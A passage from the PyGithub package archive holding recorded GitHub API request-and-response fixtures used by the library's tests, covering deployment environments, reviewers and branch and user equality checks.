m/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testReviewers.txt0000644000175100001660000000703614756101563024103 0ustar00runnerdockerhttps GET api.github.com None /repos/alson/PyGithub/environments/dev {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 13 Apr 2022 17:40:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3b0433057350078e2272494ff1c150fd0063b57b11fad140ec6bf723991e9ebf"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4915'), ('X-RateLimit-Reset', '1649873132'), ('X-RateLimit-Used', '85'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D6B6:B7D7:1419EA:151E71:62570B02')] {"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}, {"type":"Team","reviewer":{"id":1,"node_id":"MDQ6VGVhbTE=","url":"https://api.github.com/teams/1","html_url":"https://github.com/orgs/github/teams/justice-league","name":"Justice League","slug":"justice-league","description":"A great team.","privacy":"closed","permission":"admin","members_url":"https://api.github.com/teams/1/members{/member}","repositories_url":"https://api.github.com/teams/1/repos","parent":null}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testUpdateEnvironment.txt0000644000175100001660000000646614756101563025605 0ustar00runnerdockerhttps PUT api.github.com None /repos/alson/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"wait_timer": 42, "reviewers": [{"type": "User", "id": 19245}], "deployment_branch_policy": {"protected_branches": true, "custom_branch_policies": false}} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 10:41:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6a0e8d2fa745fa04719de5c68f6535950341c778998f7979827ab4a865451879"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1650454681'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0C7:FF6E:A162C:A41FF:625FE356')] {"id":470015651,"node_id":"EN_kwDOHKhL9c4cA96j","name":"test","url":"https://api.github.com/repos/alson/PyGithub/environments/test","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2022-04-19T14:04:32Z","updated_at":"2022-04-19T14:04:32Z","protection_rules":[{"id":222463,"node_id":"GA_kwDOHKhL9c4AA2T_","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":222464,"node_id":"GA_kwDOHKhL9c4AA2UA","type":"wait_timer","wait_timer":42},{"id":222465,"node_id":"GA_kwDOHKhL9c4AA2UB","type":"branch_policy"}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Equality.testBranchEquality.txt0000644000175100001660000004164414756101563024337 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3449:3070918:52802141'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1494'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 10 Nov 2013 23:46:02 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"fe0984faabdc64453d942c3e3a992a39"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:13:54 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"name":"Vincent Jacques","company":"Amazon","blog":"http://vincent-jacques.net","location":"Seattle, WA, United States","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":18,"followers":29,"following":43,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-11-10T23:46:02Z","public_gists":5,"total_private_repos":3,"owned_private_repos":3,"disk_usage":90970,"collaborators":0,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3449:3070AAE:52802143'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '4792'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 10 Nov 2013 23:46:02 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"fe0984faabdc64453d942c3e3a992a39"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:13:56 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-11-10T23:46:02Z","pushed_at":"2013-11-10T23:45:59Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":8630,"stargazers_count":291,"watchers_count":291,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":79,"mirror_url":null,"open_issues_count":17,"forks":79,"open_issues":17,"watchers":291,"default_branch":"master","master_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":79,"subscribers_count":26} https GET api.github.com None /repos/jacquev6/PyGithub/branches/develop {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3449:3070BCA:52802144'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '3500'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"3fbf42ebb571f240626352110b71e641"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:13:57 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"name":"develop","commit":{"sha":"22f366b540a302036784afc979e28569ede388df","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-11-10T23:45:33Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-11-10T23:45:33Z"},"message":"Accept strings as well as Label objects (#202)\n\nThis should be more generic, but it's a wig work to do it\neverywhere. Let's keep that in mind for V2.","tree":{"sha":"da52b9c276aa8fa9dfda274e6dbcbe7b0dfd132f","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/da52b9c276aa8fa9dfda274e6dbcbe7b0dfd132f"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/22f366b540a302036784afc979e28569ede388df","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/22f366b540a302036784afc979e28569ede388df","html_url":"https://github.com/jacquev6/PyGithub/commit/22f366b540a302036784afc979e28569ede388df","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/22f366b540a302036784afc979e28569ede388df/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"54f718a15770579a37ffbe7ae94ad30003407786","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/54f718a15770579a37ffbe7ae94ad30003407786","html_url":"https://github.com/jacquev6/PyGithub/commit/54f718a15770579a37ffbe7ae94ad30003407786"}]},"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/develop","html":"https://github.com/jacquev6/PyGithub/tree/develop"}} https GET api.github.com None /repos/jacquev6/PyGithub/branches/develop {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:344A:3DD0893:52802146'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '3500'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"1d4efa84ec4f76163fb0c421d3f01d85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:13:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"name":"develop","commit":{"sha":"22f366b540a302036784afc979e28569ede388df","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-11-10T23:45:33Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-11-10T23:45:33Z"},"message":"Accept strings as well as Label objects (#202)\n\nThis should be more generic, but it's a wig work to do it\neverywhere. Let's keep that in mind for V2.","tree":{"sha":"da52b9c276aa8fa9dfda274e6dbcbe7b0dfd132f","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/da52b9c276aa8fa9dfda274e6dbcbe7b0dfd132f"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/22f366b540a302036784afc979e28569ede388df","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/22f366b540a302036784afc979e28569ede388df","html_url":"https://github.com/jacquev6/PyGithub/commit/22f366b540a302036784afc979e28569ede388df","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/22f366b540a302036784afc979e28569ede388df/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"54f718a15770579a37ffbe7ae94ad30003407786","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/54f718a15770579a37ffbe7ae94ad30003407786","html_url":"https://github.com/jacquev6/PyGithub/commit/54f718a15770579a37ffbe7ae94ad30003407786"}]},"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/develop","html":"https://github.com/jacquev6/PyGithub/tree/develop"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Equality.testUserDifference.txt0000644000175100001660000001107114756101563024304 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4982'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:344A:3DD0CA2:52802148'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1494'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 10 Nov 2013 23:46:02 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"fe0984faabdc64453d942c3e3a992a39"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:14:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"name":"Vincent Jacques","company":"Amazon","blog":"http://vincent-jacques.net","location":"Seattle, WA, United States","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":18,"followers":29,"following":43,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-11-10T23:46:02Z","public_gists":5,"total_private_repos":3,"owned_private_repos":3,"disk_usage":90970,"collaborators":0,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6} https GET api.github.com None /users/OddBloke {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3448:4124825:52802149'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1130'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 09 Nov 2013 21:41:44 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"13ce14e257e7adc5b376a1f5e03d5c1d"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:14:02 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"OddBloke","id":62736,"avatar_url":"https://2.gravatar.com/avatar/af881deb1a7ef0a1f568e18cd967c0d3?d=https%3A%2F%2Fidenticons.github.com%2F29c5b1cb9b545c69846a6542a71338bd.png&r=x","gravatar_id":"af881deb1a7ef0a1f568e18cd967c0d3","url":"https://api.github.com/users/OddBloke","html_url":"https://github.com/OddBloke","followers_url":"https://api.github.com/users/OddBloke/followers","following_url":"https://api.github.com/users/OddBloke/following{/other_user}","gists_url":"https://api.github.com/users/OddBloke/gists{/gist_id}","starred_url":"https://api.github.com/users/OddBloke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OddBloke/subscriptions","organizations_url":"https://api.github.com/users/OddBloke/orgs","repos_url":"https://api.github.com/users/OddBloke/repos","events_url":"https://api.github.com/users/OddBloke/events{/privacy}","received_events_url":"https://api.github.com/users/OddBloke/received_events","type":"User","site_admin":false,"public_repos":32,"followers":8,"following":1,"created_at":"2009-03-12T12:40:32Z","updated_at":"2013-11-09T21:41:44Z","public_gists":12} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Equality.testUserEquality.txt0000644000175100001660000001164514756101563024056 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 